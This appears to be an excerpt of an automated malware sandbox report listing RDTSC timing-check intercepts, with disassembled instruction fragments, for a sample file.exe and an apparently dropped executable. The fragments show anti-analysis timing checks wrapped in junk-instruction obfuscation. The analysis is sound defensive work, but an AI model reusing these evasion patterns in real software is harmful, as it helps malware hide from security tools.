Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430502 second address: 5430506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430506 second address: 543050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543050A second address: 5430547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F2F50F3075Dh 0x00000010 and ch, 00000046h 0x00000013 jmp 00007F2F50F30761h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F2F50F3075Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430547 second address: 543054B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543054B second address: 543058D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F2F50F30763h 0x00000012 add si, 612Eh 0x00000017 jmp 00007F2F50F30769h 0x0000001c popfd 0x0000001d mov edi, eax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54305CE second address: 54305D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54305D4 second address: 54305D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54305D8 second address: 54305DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54305DC second address: 54305F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F2F50F30759h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2F50F3075Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54305F9 second address: 543064A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2F50B4A349h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007F2F50B4A347h 0x00000019 mov esi, 5F0D4E2Fh 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543064A second address: 543065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, CBh 0x00000006 popad 0x00000007 mov ch, 21h 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543065E second address: 5430662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430662 second address: 5430679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430874 second address: 54308D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov dx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007F2F50B4A33Eh 0x00000012 and ecx, 03h 0x00000015 jmp 00007F2F50B4A340h 0x0000001a rep movsb 0x0000001c jmp 00007F2F50B4A340h 0x00000021 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000028 pushad 0x00000029 mov al, 9Fh 0x0000002b mov di, B81Eh 0x0000002f popad 0x00000030 mov eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F2F50B4A340h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54308D7 second address: 5430946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F2F50F30767h 0x0000000b sub si, 622Eh 0x00000010 jmp 00007F2F50F30769h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ecx, dword ptr [ebp-10h] 0x0000001c pushad 0x0000001d movzx esi, di 0x00000020 mov bx, 63BCh 0x00000024 popad 0x00000025 mov dword ptr fs:[00000000h], ecx 0x0000002c pushad 0x0000002d push edi 0x0000002e mov edi, eax 0x00000030 pop eax 0x00000031 mov di, 33ECh 0x00000035 popad 0x00000036 pop ecx 0x00000037 jmp 00007F2F50F3075Bh 0x0000003c pop edi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430946 second address: 543094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543094A second address: 5430950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430950 second address: 54305CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d call 00007F2F50B4A33Ah 0x00000012 pushfd 0x00000013 jmp 00007F2F50B4A342h 0x00000018 add esi, 6441E798h 0x0000001e jmp 00007F2F50B4A33Bh 0x00000023 popfd 0x00000024 pop eax 0x00000025 popad 0x00000026 pop ebx 0x00000027 jmp 00007F2F50B4A33Fh 0x0000002c leave 0x0000002d jmp 00007F2F50B4A346h 0x00000032 retn 0008h 0x00000035 cmp dword ptr [ebp-2Ch], 10h 0x00000039 mov eax, dword ptr [ebp-40h] 0x0000003c jnc 00007F2F50B4A335h 0x0000003e push eax 0x0000003f lea edx, dword ptr [ebp-00000590h] 0x00000045 push edx 0x00000046 call esi 0x00000048 push 00000008h 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F2F50B4A347h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430AAD second address: 5430B04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F2F50F30767h 0x00000010 mov edi, eax 0x00000012 pop esi 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2F50F30768h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B04 second address: 5430B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5430B0A second address: 5430B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 pushfd 0x00000007 jmp 00007F2F50F30768h 0x0000000c adc ecx, 7CAD4418h 0x00000012 jmp 00007F2F50F3075Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e movzx esi, bx 0x00000021 mov ax, dx 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F2F50F30766h 0x0000002d rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 45F3E8 second address: 45F3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 45F3EC second address: 45EC9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D191Fh], ebx 0x00000010 push dword ptr [ebp+122D0691h] 0x00000016 jo 00007F2F50F30769h 0x0000001c jmp 00007F2F50F30763h 0x00000021 call dword ptr [ebp+122D3AAAh] 0x00000027 pushad 0x00000028 clc 0x00000029 xor eax, eax 0x0000002b mov dword ptr [ebp+122D1E97h], edi 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 sub dword ptr [ebp+122D191Fh], edx 0x0000003b mov dword ptr [ebp+122D2C94h], eax 0x00000041 or dword ptr [ebp+122D1E97h], eax 0x00000047 jnl 00007F2F50F30762h 0x0000004d mov esi, 0000003Ch 0x00000052 jbe 00007F2F50F30764h 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c clc 0x0000005d lodsw 0x0000005f pushad 0x00000060 mov di, B272h 0x00000064 mov bx, 1342h 0x00000068 popad 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d pushad 0x0000006e mov edx, dword ptr [ebp+122D2E54h] 0x00000074 movzx ebx, ax 0x00000077 popad 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c sub dword ptr [ebp+122D1E97h], edi 0x00000082 pushad 0x00000083 sub ecx, 683D2E00h 0x00000089 mov edx, dword ptr [ebp+122D2D1Ch] 0x0000008f popad 0x00000090 push eax 0x00000091 push esi 0x00000092 push eax 0x00000093 push edx 0x00000094 push edi 0x00000095 pop edi 0x00000096 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E23B6 second address: 5E23C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E23C0 second address: 5E23C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5CDE4C second address: 5CDE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2F50B4A336h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E167A second address: 5E167E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E167E second address: 5E16BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F2F50B4A355h 0x0000000f jmp 00007F2F50B4A342h 0x00000014 jmp 00007F2F50B4A33Dh 0x00000019 push ebx 0x0000001a jmp 00007F2F50B4A33Bh 0x0000001f push eax 0x00000020 pop eax 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E16BF second address: 5E16C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4A90 second address: 5E4A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4A94 second address: 5E4A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4A9E second address: 5E4AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4AF2 second address: 5E4AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4AF6 second address: 5E4B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4CA0 second address: 5E4CC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30762h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jnp 00007F2F50F3075Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4CC3 second address: 5E4CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4CCB second address: 5E4CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4CCF second address: 5E4CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2F50B4A346h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4CF1 second address: 5E4DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30766h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edx 0x0000000f jmp 00007F2F50F30761h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 sub edi, 39D95211h 0x0000001d movzx edx, si 0x00000020 popad 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F2F50F30758h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d mov dword ptr [ebp+122D1D52h], eax 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ebp 0x00000048 call 00007F2F50F30758h 0x0000004d pop ebp 0x0000004e mov dword ptr [esp+04h], ebp 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc ebp 0x0000005b push ebp 0x0000005c ret 0x0000005d pop ebp 0x0000005e ret 0x0000005f and esi, 0D46FCA2h 0x00000065 mov di, cx 0x00000068 push 00000003h 0x0000006a xor esi, 7FB5D385h 0x00000070 and edi, dword ptr [ebp+122D3AB7h] 0x00000076 call 00007F2F50F30759h 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F2F50F3075Dh 0x00000082 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4DA7 second address: 5E4DC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2F50B4A33Bh 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4DC8 second address: 5E4E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F2F50F30761h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 jnc 00007F2F50F3075Ch 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e ja 00007F2F50F3075Ch 0x00000024 pop eax 0x00000025 pushad 0x00000026 ja 00007F2F50F3075Ch 0x0000002c mov edi, dword ptr [ebp+122D2D34h] 0x00000032 popad 0x00000033 lea ebx, dword ptr [ebp+12459A06h] 0x00000039 mov esi, dword ptr [ebp+122D2DC8h] 0x0000003f xchg eax, ebx 0x00000040 jc 00007F2F50F3077Eh 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F2F50F30768h 0x0000004d rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4F94 second address: 5E4F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E4F99 second address: 5E4F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 5E5096 second address: 5E509A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 603649 second address: 603654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2F50F30756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60377F second address: 603787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 603787 second address: 60378D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60378D second address: 6037A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F2F50B4A33Ch 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6037A4 second address: 6037AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6037AA second address: 6037AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6037AF second address: 6037B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6037B5 second address: 6037BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 603AAC second address: 603AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 603DC7 second address: 603DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 603F1D second address: 603F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6040A9 second address: 6040AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6040AF second address: 6040B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 604268 second address: 60426C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 604397 second address: 60439B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60439B second address: 6043BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A347h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6043BC second address: 6043CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F2F50F30758h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6043CF second address: 6043D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60455E second address: 604563 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 604682 second address: 604688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 604688 second address: 6046A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F2F50F30760h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6046A6 second address: 6046AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6046AC second address: 6046B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6046B2 second address: 6046C9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2F50B4A342h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6055F7 second address: 6055FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 6055FD second address: 605608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 605608 second address: 60560C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 609805 second address: 60980B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60980B second address: 60980F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60980F second address: 60982E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A348h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60982E second address: 60983F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2F50F30756h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60983F second address: 609845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 609845 second address: 60985E instructions: 0x00000000 rdtsc 0x00000002 js 00007F2F50F30756h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2F50F3075Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60B253 second address: 60B257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	RDTSC instruction interceptor: First address: 60B257 second address: 60B274 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
